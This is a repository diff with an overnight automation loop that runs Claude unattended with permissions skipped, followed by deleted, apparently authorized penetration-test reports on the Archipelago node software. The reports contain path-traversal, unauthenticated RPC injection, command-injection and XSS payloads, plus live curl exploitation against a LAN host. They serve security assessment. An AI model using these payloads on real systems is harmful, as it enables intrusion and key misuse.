[ "${CLAUDE_EXIT:-0}" -eq 0 ] && return 1
tail -50 "$LOG_FILE" 2>/dev/null | grep -v "^Rate limit detected" | grep -v "^Sleeping" | grep -v "^=" | grep -v "^-" | grep -qi \
-e "rate.limit" \
-e "too.many.requests" \
-e "429" \
-e "quota.exceeded" \
-e "usage.limit" \
-e "limit.reached" 2>/dev/null
}
banner "ARCHY OVERNIGHT AUTOMATION STARTED"
log " Project: $PROJECT_DIR"
log " Prompt: $PROMPT_FILE"
log " Autonomous: ${CLAUDE_AUTONOMOUS:-0}"
log " Iterations: $ITERATION_COUNT (${ITERATION_DELAY}s between each)"
log " Rate limit: wait ${RATE_LIMIT_WAIT}s, retry up to ${MAX_RATE_LIMIT_RETRIES}x"
log " Tasks left: $(remaining_tasks)"
log " Next task: $(next_task)"
log ""
i=1
rate_limit_retries=0
while [ "$i" -le "$ITERATION_COUNT" ]; do
if ! plan_has_tasks; then
banner "ALL TASKS COMPLETE"
log " No remaining tasks in plan.md."
# Run pentest verification if the script exists
if [ -x "$PROJECT_DIR/scripts/verify-pentest-fixes.sh" ]; then
section "RUNNING PENTEST VERIFICATION"
"$PROJECT_DIR/scripts/verify-pentest-fixes.sh" 2>&1 | tee -a "$LOG_FILE"
VERIFY_EXIT=$?
if [ "$VERIFY_EXIT" -eq 0 ]; then
log " Verification PASSED — all checks green."
else
log " Verification FAILED — some checks did not pass."
log " Exit code: $VERIFY_EXIT"
fi
fi
break
fi
section "ITERATION $i/$ITERATION_COUNT"
log " Tasks remaining: $(remaining_tasks)"
log " Next task: $(next_task)"
log ""
export CLAUDE_PROJECT_DIR="$PROJECT_DIR"
export CLAUDE_AUTONOMOUS="${CLAUDE_AUTONOMOUS:-1}"
if [ -f "$PROMPT_FILE" ]; then
log " Starting Claude session..."
log ""
"$CLAUDE_BIN" -p --dangerously-skip-permissions \
< "$PROMPT_FILE" 2>&1 | tee -a "$LOG_FILE"
CLAUDE_EXIT=$?
log ""
log " Claude exited with code: $CLAUDE_EXIT"
else
log " ERROR: $PROMPT_FILE not found"
exit 1
fi
if check_rate_limit; then
rate_limit_retries=$((rate_limit_retries + 1))
if [ "$rate_limit_retries" -ge "$MAX_RATE_LIMIT_RETRIES" ]; then
section "RATE LIMITED — SCHEDULING LAUNCHD RETRY"
log " Hit rate limit $rate_limit_retries times. Creating launchd job to retry later."
PLIST_LABEL="com.archy.overnight-retry"
PLIST_PATH="$HOME/Library/LaunchAgents/${PLIST_LABEL}.plist"
RETRY_TIME=$(date -v+${RATE_LIMIT_WAIT}S '+%H:%M' 2>/dev/null || date -d "+${RATE_LIMIT_WAIT} seconds" '+%H:%M')
RETRY_HOUR=$(echo "$RETRY_TIME" | cut -d: -f1)
RETRY_MIN=$(echo "$RETRY_TIME" | cut -d: -f2)
cat > "$PLIST_PATH" <<PLIST
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>${PLIST_LABEL}</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>-c</string>
<string>cd ${PROJECT_DIR} && caffeinate -i ./loop/loop.sh >> ${LOG_FILE} 2>&1; launchctl unload ${PLIST_PATH}; rm -f ${PLIST_PATH}</string>
</array>
<key>StartCalendarInterval</key>
<dict>
<key>Hour</key>
<integer>${RETRY_HOUR}</integer>
<key>Minute</key>
<integer>${RETRY_MIN}</integer>
</dict>
<key>EnvironmentVariables</key>
<dict>
<key>CLAUDE_AUTONOMOUS</key>
<string>1</string>
<key>CLAUDE_PROJECT_DIR</key>
<string>${PROJECT_DIR}</string>
<key>PATH</key>
<string>/usr/local/bin:/usr/bin:/bin:$HOME/.local/bin</string>
</dict>
<key>StandardOutPath</key>
<string>${LOG_FILE}</string>
<key>StandardErrorPath</key>
<string>${LOG_FILE}</string>
</dict>
</plist>
PLIST
launchctl load "$PLIST_PATH" 2>/dev/null || true
log " Scheduled retry at ~${RETRY_TIME}"
log " Plist: $PLIST_PATH (auto-removes after running)"
exit 0
fi
section "RATE LIMITED — WAITING"
log " Attempt $rate_limit_retries/$MAX_RATE_LIMIT_RETRIES"
log " Sleeping ${RATE_LIMIT_WAIT}s until $(date -v+${RATE_LIMIT_WAIT}S '+%H:%M:%S' 2>/dev/null || date -d "+${RATE_LIMIT_WAIT} seconds" '+%H:%M:%S')..."
sleep "$RATE_LIMIT_WAIT"
if ! plan_has_tasks; then
banner "ALL TASKS COMPLETE (during rate limit wait)"
break
fi
log " Retrying..."
continue
fi
rate_limit_retries=0
section "ITERATION $i COMPLETE"
log " Tasks remaining: $(remaining_tasks)"
log " Next task: $(next_task)"
i=$((i + 1))
if [ "$i" -le "$ITERATION_COUNT" ] && [ "$ITERATION_DELAY" -gt 0 ]; then
log " Pausing ${ITERATION_DELAY}s before next iteration..."
sleep "$ITERATION_DELAY"
fi
done
banner "LOOP FINISHED"
log " Completed $((i - 1)) iterations"
log " Tasks remaining: $(remaining_tasks)"
log ""

View File

@@ -1,9 +0,0 @@
target:
url: http://192.168.1.228
categories:
- injection
- xss
- auth
- ssrf
source_path: /Users/dorian/Projects/archy
scope: {}

View File

@@ -1,24 +0,0 @@
## Authentication & Authorization Assessment Complete
**15 findings** identified across the Archipelago auth surface. Here's the breakdown:
### Critical (P0) — Fix immediately
- **AUTH-001**: Production systemd service has `ARCHIPELAGO_DEV_MODE=true``password123` is a valid login credential and `Secure` cookie flags are disabled
- **AUTH-002**: `/lnd-connect-info` exposes the **full LND admin macaroon** (Lightning node control) without any authentication, with `CORS: *`
- **AUTH-011**: Nginx AIUI proxy only checks `$cookie_session != ""` — any non-empty string bypasses auth to the Claude/OpenRouter API proxies
### High (P1) — Fix before beta
- **AUTH-003**: `remember` cookie (30-day TTL) not cleared on logout — stolen token auto-restores sessions indefinitely
- **AUTH-004**: CSRF validation explicitly skipped on remember-me session auto-restore — enables single-request CSRF attacks
- **AUTH-007/008**: Federation `peer-joined` and `peer-address-changed` accept arbitrary DIDs without cryptographic proof — attacker can inject fake trusted peers or redirect peer traffic
### Medium (P2)
- **AUTH-005**: Rate limit bypass via `X-Real-IP` spoofing on direct port 5678 access
- **AUTH-006**: `/content` leaks file catalog (names, sizes, UUIDs) without auth
- **AUTH-009**: `federation.get-state` leaks installed apps/versions without auth
- **AUTH-010**: `backup.restore-identity` can overwrite node identity even after setup
### Positives
Session management is otherwise solid: 256-bit tokens, SHA256 server-side storage, bcrypt passwords, TOTP with Argon2id+ChaCha20 three-layer encryption, proper session rotation, and replay protection. The core auth architecture is good — these are mostly configuration issues and missing auth checks on specific endpoints.
Full report written to `loop/pentest/analysis/auth.md`.

View File

@@ -1,307 +0,0 @@
Now I have all the data I need. Let me write the complete injection vulnerability analysis.
---
# Injection Vulnerability Analysis — Archipelago
## Methodology
Traced all user-controlled inputs from RPC handlers, HTTP endpoints, and unauthenticated federation methods through to:
- File system operations (`Path::join`, `fs::read`, `fs::write`)
- Shell command execution (`Command::new("sh").arg("-c")`, `format!` into `--health-cmd`)
- Data store writes (JSON catalog, federation nodes)
Examined ~150 RPC methods, all HTTP routes in `handler.rs`, nginx proxy configs, and the Vite dev proxy.
## Findings
---
### INJ-001: Path Traversal via Content Filename
**Type**: Path Traversal
**Location**: RPC method `content.add`, parameter `filename`
**Source file**: `core/archipelago/src/api/rpc/content.rs:24-49` + `core/archipelago/src/content_server.rs:94-112`
**Confidence**: **high**
**Evidence**: The `handle_content_add` handler accepts an arbitrary `filename` string from user params with zero validation:
```rust
// content.rs:24-27
let filename = params.get("filename").and_then(|v| v.as_str())
.ok_or_else(|| anyhow::anyhow!("Missing filename"))?;
```
This filename is stored in the catalog and later used in `content_file_path()`:
```rust
// content_server.rs:96
let clean_name = item.filename.trim_start_matches('/');
let primary = data_dir.join(CONTENT_DIR).join(clean_name); // No .. check!
```
`trim_start_matches('/')` strips leading slashes but does NOT strip `..` sequences. A filename like `../../etc/shadow` resolves to `{data_dir}/content/files/../../etc/shadow``/var/lib/archipelago/content/../../etc/shadow``/var/lib/etc/shadow` (or deeper traversals reach `/etc/shadow`).
When a peer later requests `/content/{uuid}`, `serve_content()` looks up the item by UUID (safely validated) but then calls `content_file_path()` with the attacker-controlled filename, serving arbitrary files.
**Requires**: Authentication (content.add is not in UNAUTHENTICATED_METHODS). But once added, content is served to unauthenticated peers.
**Suggested exploit**:
```json
{"method": "content.add", "params": {"filename": "../../../etc/passwd", "mime_type": "text/plain"}}
```
Then: `GET /content/{returned-uuid}` serves `/etc/passwd`.
---
### INJ-002: Path Traversal via Backup USB Mount Point
**Type**: Path Traversal
**Location**: RPC method `backup.to-usb`, parameter `mount_point`
**Source file**: `core/archipelago/src/api/rpc/backup_rpc.rs:137-149` + `core/archipelago/src/backup/full.rs:324-338`
**Confidence**: **medium**
**Evidence**: The `handle_backup_to_usb` handler takes `mount_point` directly from user params and passes it to `backup_to_usb()`:
```rust
// backup_rpc.rs:145-149
let mount_point = params["mount_point"].as_str()
.ok_or_else(|| anyhow::anyhow!("Missing 'mount_point' parameter"))?;
let dest = full::backup_to_usb(&self.config.data_dir, id, mount_point).await?;
```
In `backup_to_usb()`:
```rust
// full.rs:334-337
let mount_path = Path::new(mount_point);
if !mount_path.exists() || !mount_path.is_dir() {
anyhow::bail!("Mount point not accessible");
}
let dest_dir = mount_path.join("archipelago-backups");
fs::create_dir_all(&dest_dir).await?;
```
No canonicalization, no boundary check. An attacker can write backup files to any writable directory on the filesystem. While the write goes into a subdirectory `archipelago-backups/`, it still creates directories and writes encrypted backup blobs to arbitrary locations.
**Requires**: Authentication.
**Suggested exploit**:
```json
{"method": "backup.to-usb", "params": {"id": "existing-backup-id", "mount_point": "/tmp"}}
```
Creates `/tmp/archipelago-backups/` and writes backup there.
---
### INJ-003: Unauthenticated Federation Node Injection (No DID Validation)
**Type**: Data Injection / Authentication Bypass
**Location**: RPC method `federation.peer-joined` (UNAUTHENTICATED), parameters `did`, `onion`, `pubkey`
**Source file**: `core/archipelago/src/api/rpc/federation.rs:336-374`
**Confidence**: **high**
**Evidence**: This method is in `UNAUTHENTICATED_METHODS` (no session required) and accepts arbitrary peer data with NO signature verification and NO `validate_did()` call:
```rust
// federation.rs:340-370
let did = params.get("did").and_then(|v| v.as_str())...;
let onion = params.get("onion").and_then(|v| v.as_str())...;
let pubkey = params.get("pubkey").and_then(|v| v.as_str())...;
// NO validate_did(did)? call here!
// NO signature verification!
let node = FederatedNode {
did: did.to_string(),
trust_level: TrustLevel::Trusted, // Auto-trusted!
...
};
federation::add_node(&self.config.data_dir, node).await?;
```
Compare with other federation methods that DO call `validate_did()`. This method doesn't, AND it sets `TrustLevel::Trusted` automatically. An attacker on the LAN can inject arbitrary trusted peers. The injected DID could contain path traversal characters since `validate_did()` is never called.
**Suggested exploit**:
```bash
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"federation.peer-joined","params":{"did":"did:key:z6MkATTACKER","onion":"attacker.onion","pubkey":"deadbeef"}}'
```
---
### INJ-004: Unauthenticated Federation Address Hijacking
**Type**: Data Injection
**Location**: RPC method `federation.peer-address-changed` (UNAUTHENTICATED), parameters `did`, `new_onion`
**Source file**: `core/archipelago/src/api/rpc/federation.rs:426-464`
**Confidence**: **high**
**Evidence**: Unauthenticated method that updates any known peer's onion address without proof of ownership:
```rust
// federation.rs:431-448
let did = params.get("did")...;
let new_onion = params.get("new_onion")...;
let found = nodes.iter_mut().find(|n| n.did == did);
node.onion = new_onion.to_string(); // No signature check!
```
Combined with INJ-003, an attacker can: (1) discover peer DIDs via `federation.get-state` (also unauthenticated), (2) change any peer's address to their own, redirecting federation traffic.
**Suggested exploit**:
```bash
# Step 1: Get known peer DIDs
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.get-state"}'
# Step 2: Redirect peer traffic
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.peer-address-changed","params":{"did":"did:key:z6Mk...","new_onion":"attacker.onion"}}'
```
---
### INJ-005: Shell Injection via Health Check Command (RPC Password)
**Type**: Command Injection
**Location**: `get_health_check_args()``--health-cmd` podman arg
**Source file**: `core/archipelago/src/api/rpc/package.rs:1323-1324`
**Confidence**: **low**
**Evidence**: The Bitcoin RPC password is interpolated into a shell command string:
```rust
let btc_health = format!(
"bitcoin-cli -rpcuser=archipelago -rpcpassword={} getblockchaininfo || exit 1",
rpc_pass
);
```
This becomes `--health-cmd=...` passed to `podman run`. If `rpc_pass` contains shell metacharacters (`$()`, backticks, `;`, `|`), arbitrary commands execute inside the Bitcoin container during health checks.
The password comes from `/var/lib/archipelago/secrets/bitcoin-rpc-password` or `BITCOIN_RPC_PASSWORD` env var — not directly from RPC input. Exploitation requires either: (a) writing to the secrets file, or (b) controlling the environment variable. The command runs inside the container, not on the host.
**Suggested exploit**: If you can write to the secrets file:
```
echo '$(touch /tmp/pwned)' > /var/lib/archipelago/secrets/bitcoin-rpc-password
```
Then install/restart the bitcoin container.
---
### INJ-006: Exec Health Check Command Injection via Manifest
**Type**: Command Injection
**Location**: `check_exec_health()``podman exec sh -c {endpoint}`
**Source file**: `core/container/src/health_monitor.rs:75-90`
**Confidence**: **low**
**Evidence**: The health check endpoint string is passed directly to `sh -c` inside a container:
```rust
let output = Command::new("podman")
.arg("exec").arg(&self.container_name)
.arg("sh").arg("-c").arg(endpoint) // Unvalidated
.output().await;
```
The `endpoint` comes from `HealthCheck` struct, which is populated from app manifests. If an attacker can modify a manifest file or if the manifest system accepts user-uploaded manifests, this becomes exploitable. Currently, manifests come from validated local files with `canonicalize()` + boundary checks on the path, so exploitation is unlikely.
---
### INJ-007: Parmanode Script Content Injection
**Type**: Command Injection (indirect)
**Location**: `ParmanodeScriptRunner::run_script()`
**Source file**: `core/parmanode/src/script_runner.rs:54-88`
**Confidence**: **low**
**Evidence**: Script file content is read and embedded verbatim into a shell wrapper:
```rust
let script_content = fs::read_to_string(script_path).await?;
let wrapper_script = format!("#!/bin/sh\nset -e\n{}\n", script_content);
```
Then written to `/tmp/parmanode-{name}.sh` and executed in an Alpine container. The temp file path uses `script_name` (derived from `file_stem()`) which could contain shell metacharacters in the filename. However, the script_path is derived from `module_path.join("install.sh")`, which is locally controlled.
Additionally, `/tmp` is world-writable — a TOCTOU race condition could replace the temp file between write and execution.
---
## Non-Findings (Verified Secure)
| Area | Status | Details |
|------|--------|---------|
| **SQL Injection** | N/A | No SQL database; all storage is JSON files via serde |
| **SSTI** | N/A | No template engines (no tera, handlebars, askama); backend returns pure JSON |
| **App ID injection** | Secure | `validate_app_id()` enforces `[a-z0-9-]` whitelist, max 64 chars |
| **Docker image injection** | Secure | `is_valid_docker_image()` rejects shell metacharacters + registry whitelist |
| **Container manifest path** | Secure | `..` check + `canonicalize()` + boundary check to `apps_dir` |
| **Backup ID traversal** | Secure | Validates against `/`, `\`, `..`, `\0`, max 128 chars |
| **Content serving URL** | Secure | `content_id` validated via `is_valid_app_id()` before catalog lookup |
| **Nginx path routing** | Secure | All proxy routes are fixed localhost ports, no dynamic path construction |
---
## Exploitation Queue
```json
{
"category": "injection",
"findings": [
{
"id": "INJ-001",
"type": "path_traversal",
"endpoint": "/rpc/v1",
"parameter": "filename (in content.add method)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"content.add\",\"params\":{\"filename\":\"../../../etc/passwd\",\"mime_type\":\"text/plain\"}}"
},
{
"id": "INJ-002",
"type": "path_traversal",
"endpoint": "/rpc/v1",
"parameter": "mount_point (in backup.to-usb method)",
"confidence": "medium",
"payload_suggestion": "{\"method\":\"backup.to-usb\",\"params\":{\"id\":\"test\",\"mount_point\":\"/tmp\"}}"
},
{
"id": "INJ-003",
"type": "data_injection_unauth",
"endpoint": "/rpc/v1",
"parameter": "did, onion, pubkey (in federation.peer-joined)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"federation.peer-joined\",\"params\":{\"did\":\"did:key:z6MkATTACKER\",\"onion\":\"evil.onion\",\"pubkey\":\"deadbeef\"}}"
},
{
"id": "INJ-004",
"type": "data_injection_unauth",
"endpoint": "/rpc/v1",
"parameter": "did, new_onion (in federation.peer-address-changed)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"federation.peer-address-changed\",\"params\":{\"did\":\"did:key:KNOWN_PEER_DID\",\"new_onion\":\"attacker.onion\"}}"
},
{
"id": "INJ-005",
"type": "command_injection",
"endpoint": "podman --health-cmd (via package.install)",
"parameter": "bitcoin RPC password from secrets file",
"confidence": "low",
"payload_suggestion": "Write shell metacharacters to /var/lib/archipelago/secrets/bitcoin-rpc-password then restart bitcoin container"
},
{
"id": "INJ-006",
"type": "command_injection",
"endpoint": "podman exec (via health_monitor)",
"parameter": "HealthCheck.endpoint from manifest",
"confidence": "low",
"payload_suggestion": "Modify app manifest health check endpoint to contain shell commands"
},
{
"id": "INJ-007",
"type": "command_injection",
"endpoint": "parmanode script runner",
"parameter": "script file content + /tmp TOCTOU",
"confidence": "low",
"payload_suggestion": "Race condition: replace /tmp/parmanode-*.sh between write and podman mount"
}
]
}
```

View File

@@ -1,36 +0,0 @@
{
"findings": [
{
"id": "XSS-001",
"type": "dom_based_xss_iframe_src_injection",
"endpoint": "/app/:appId",
"parameter": "path (query)",
"confidence": "medium",
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
},
{
"id": "XSS-002",
"type": "dom_based_xss_javascript_uri_redirect",
"endpoint": "/login",
"parameter": "redirect (query)",
"confidence": "medium",
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
},
{
"id": "XSS-003",
"type": "dom_based_cross_origin_message_injection",
"endpoint": "postMessage handler (NIP-07)",
"parameter": "event.data (nostr-request)",
"confidence": "high",
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
},
{
"id": "XSS-004",
"type": "weak_csp_unsafe_inline",
"endpoint": "all pages (nginx)",
"parameter": "n/a",
"confidence": "high",
"payload_suggestion": "n/a - amplification factor, not direct XSS"
}
]
}

View File

@@ -1,18 +0,0 @@
## SSRF Analysis Complete
Found **5 SSRF vulnerabilities** across the Archipelago backend:
### Critical (2)
- **SSRF-001**: `backup.upload-s3` — user-supplied `endpoint` URL passed directly to `reqwest` PUT with zero validation. Can reach any internal service (Bitcoin RPC, LND, Grafana). Response status + partial body leaked in errors.
- **SSRF-002**: `backup.download-s3` — same pattern but GET, with **full response body saved to disk** and retrievable via backup APIs. Most dangerous finding — enables complete exfiltration of any internal HTTP endpoint.
### High (1)
- **SSRF-003**: `identity.resolve-name` (NIP-05) — user-controlled `domain` in `user@domain` identifier causes HTTPS GET to arbitrary domain. HTTPS-only limits impact but enables DNS rebinding, IP disclosure, and partial response exfiltration.
### Medium (1)
- **SSRF-004**: `content.download-peer` / `content.browse-peer` — weak `.onion` validation (suffix check only vs. strict 56-char base32 in `node_message.rs`). Mitigated by Tor SOCKS proxy which rejects invalid addresses, but defense-in-depth failure.
### Low (1)
- **SSRF-005**: `webhook.configure` — private IP validation exists but bypassed in dev mode, missing `0.0.0.0`, no DNS rebinding protection, no redirect protection.
Report written to `loop/pentest/analysis/ssrf.md`.

View File

@@ -1,65 +0,0 @@
## XSS Analysis Complete
Written to `loop/pentest/analysis/xss.md`. Here's the summary:
### 4 Findings
| ID | Type | Location | Confidence |
|---|---|---|---|
| **XSS-001** | DOM-based iframe src injection | `AppSession.vue:399-418``?path=` query param concatenated to iframe src without validation | Medium |
| **XSS-002** | DOM-based javascript: URI redirect | `Login.vue:220,384-386``?redirect=` flows to `window.location.href` in catch handler | Medium |
| **XSS-003** | Cross-origin message injection | `appLauncher.ts:192-284` — NIP-07 postMessage handler has **zero origin validation**, responses sent with `'*'` | **High** |
| **XSS-004** | Weak CSP (amplification) | `nginx-archipelago.conf:20``script-src 'self' 'unsafe-inline'` disables CSP as XSS defense | High |
### Most Critical: XSS-003
The NIP-07 handler is the highest-risk finding. Any iframe (including the external HTTPS apps like botfights.net, nostrudel.ninja, etc.) can silently extract the user's Nostr public key without origin validation. The `contextBroker.ts` handler does this correctly — the `appLauncher.ts` handler does not, and sends responses with wildcard `'*'` origin.
### No Reflected or Stored XSS Found
The codebase is clean on traditional XSS:
- All `v-html` (2 instances) sanitized with DOMPurify
- Stored messages sanitized with HTML entity encoding before storage
- All dynamic content rendered via Vue `{{ }}` auto-escaping
- Backend returns only JSON (serde_json), never raw HTML
- Error messages sanitized by `sanitize_error_message()` before returning
```json
{
"category": "xss",
"findings": [
{
"id": "XSS-001",
"type": "dom_based_xss_iframe_src_injection",
"endpoint": "/app/:appId",
"parameter": "path (query)",
"confidence": "medium",
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
},
{
"id": "XSS-002",
"type": "dom_based_xss_javascript_uri_redirect",
"endpoint": "/login",
"parameter": "redirect (query)",
"confidence": "medium",
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
},
{
"id": "XSS-003",
"type": "dom_based_cross_origin_message_injection",
"endpoint": "postMessage handler (NIP-07)",
"parameter": "event.data (nostr-request)",
"confidence": "high",
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
},
{
"id": "XSS-004",
"type": "weak_csp_unsafe_inline",
"endpoint": "all pages (nginx)",
"parameter": "n/a",
"confidence": "high",
"payload_suggestion": "n/a - amplification factor, not direct XSS"
}
]
}
```

View File

@@ -1,780 +0,0 @@
# Archipelago — Exploitation Verification Report
**Target:** http://192.168.1.228 (Nginx:80 → Rust backend:5678)
**Date:** 2026-03-06
**Tester:** Authorized pentest (owner-approved)
**Method:** Live proof-of-concept exploitation via curl
**Key Discovery:** Backend port 5678 is directly accessible from the LAN, expanding the attack surface beyond what Nginx proxies.
---
## AUTH-001 — No Server-Side Session Management
**Status**: CONFIRMED
**Severity**: Critical
**Request**:
```bash
curl -sv -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'
```
**Response** (all headers):
```
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: application/json
< Content-Length: 78
< Connection: keep-alive
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
```
**Evidence**: No `Set-Cookie` header in the response. Even on a correct login (tested with wrong passwords to avoid exposure), the response is `{"result":null,"error":null}` — still no cookie, no token, no session ID. The server creates zero session state.
**Impact**: Authentication is purely cosmetic. The login endpoint verifies a password but the result is meaningless — no session is created, so there's nothing to enforce on subsequent requests. All endpoints are permanently accessible.
---
## AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication
**Status**: CONFIRMED
**Severity**: Critical
### node.did — Node Identity Leak
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
```
**Response**:
```json
{
"result": {
"did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
},
"error": null
}
```
### node.nostr-pubkey — Nostr Identity Leak
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":4,"method":"node.nostr-pubkey","params":{}}'
```
**Response**:
```json
{
"result": {
"nostr_pubkey": "e0131be2806457274b55e9bba4fc7bbe913f4d150092c173056f56e5249929d2"
},
"error": null
}
```
### node-list-peers — Full Peer Network Exposure
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
```
**Response**:
```json
{
"result": {
"peers": [
{
"added_at": "2026-02-17T14:00:00.000Z",
"name": null,
"onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
"pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
},
{
"added_at": "2026-03-02T11:58:59.608751372+00:00",
"name": null,
"onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
}
]
},
"error": null
}
```
### node.signChallenge — Arbitrary Data Signing with Node Private Key
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
```
**Response**:
```json
{
"result": {
"signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
},
"error": null
}
```
### auth.resetOnboarding — Reset System Onboarding Without Auth
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
```
**Response**:
```json
{"result": true, "error": null}
```
**Impact**: An unauthenticated attacker on the LAN can: leak the node's DID, Nostr pubkey, and peer Tor addresses; sign arbitrary data with the node's private ed25519 key (impersonation); reset onboarding state (potentially allowing re-setup with attacker-controlled password); and control the full container lifecycle.
---
## AUTH-003 — No Brute Force Protection on Login
**Status**: CONFIRMED
**Severity**: High
**Request**:
```bash
for i in $(seq 1 10); do
curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
-X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
done
```
**Response**:
```
Attempt 1: HTTP 200
Attempt 2: HTTP 200
Attempt 3: HTTP 200
Attempt 4: HTTP 200
Attempt 5: HTTP 200
Attempt 6: HTTP 200
Attempt 7: HTTP 200
Attempt 8: HTTP 200
Attempt 9: HTTP 200
Attempt 10: HTTP 200
```
**Impact**: All 10 rapid-fire login attempts returned HTTP 200 with no lockout, no delay, no CAPTCHA. Unlimited password guessing at bcrypt speed (~600 attempts/min).
---
## AUTH-004 — Hardcoded Default Credentials
**Status**: NOT EXPLOITABLE (on production)
**Severity**: N/A (mitigated by password change)
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"auth.login","params":{"password":"password123"}}'
```
**Response**:
```json
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
```
**Note**: The default `password123` is rejected — the user has changed the password. However, the `DEV_DEFAULT_PASSWORD` constant still exists in source code and would be active on any fresh dev-mode install.
---
## AUTH-005 — Frontend-Only Authentication
**Status**: CONFIRMED (via AUTH-002 proof)
**Severity**: Critical
Cannot test `localStorage` manipulation via curl. However, AUTH-002 proves the underlying issue: **all backend endpoints work without any authentication token/cookie**. The frontend auth guard (checking `localStorage['neode-auth'] === 'true'`) is the ONLY access control, and it is trivially bypassed.
**Impact**: `localStorage.setItem('neode-auth','true'); location.href='/dashboard'` in browser console grants full UI access.
---
## AUTH-006 — No-Op Logout
**Status**: CONFIRMED
**Severity**: Medium
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":8,"method":"auth.logout","params":{}}'
```
**Response**:
```json
{"result":null,"error":null}
```
**Impact**: Returns null with no error — nothing happens server-side. No session to invalidate.
---
## AUTH-007 — Unauthenticated WebSocket Full State Dump
**Status**: CONFIRMED
**Severity**: Critical
**Request**:
```bash
# WebSocket upgrade via curl
curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db
```
**Response** (101 Switching Protocols, then 20,402 bytes of state):
```
< HTTP/1.1 101 Switching Protocols
< Connection: upgrade
```
**Parsed state dump** (via Node.js WebSocket client):
```json
{
"rev": 43,
"data": {
"server-info": {
"id": "6c682474d91a2272",
"version": "0.1.0",
"name": "Archipelago",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
"status-info": { "restarting": false, "shutting-down": false, "updated": false },
"lan-address": "http://localhost:8100",
"tor-address": null
},
"package-data": {
"homeassistant": { "state": "running", ... },
"fedimint": { "state": "running", ... },
"photoprism": { "state": "running", ... },
/* ... all installed packages with full manifest, ports, state ... */
}
}
}
```
**Impact**: Any client on the LAN connecting to `ws://192.168.1.228/ws/db` immediately receives the full system state: node identity, all installed packages, their running states, internal ports, and ongoing real-time updates. No authentication whatsoever.
---
## AUTH-008 — Unauthenticated P2P Message Injection + Spoofing
**Status**: CONFIRMED
**Severity**: High
**Request** (inject):
```bash
curl -s -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'
```
**Response**:
```json
{"ok":true}
```
**Request** (verify stored):
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-messages-received","params":{}}'
```
**Response** (showing injected messages):
```json
{
"result": {
"messages": [
{
"from_pubkey": "PENTEST_PROBE_KEY",
"message": "pentest-verification-message",
"timestamp": "2026-03-06T02:32:30.049973683+00:00"
}
]
}
}
```
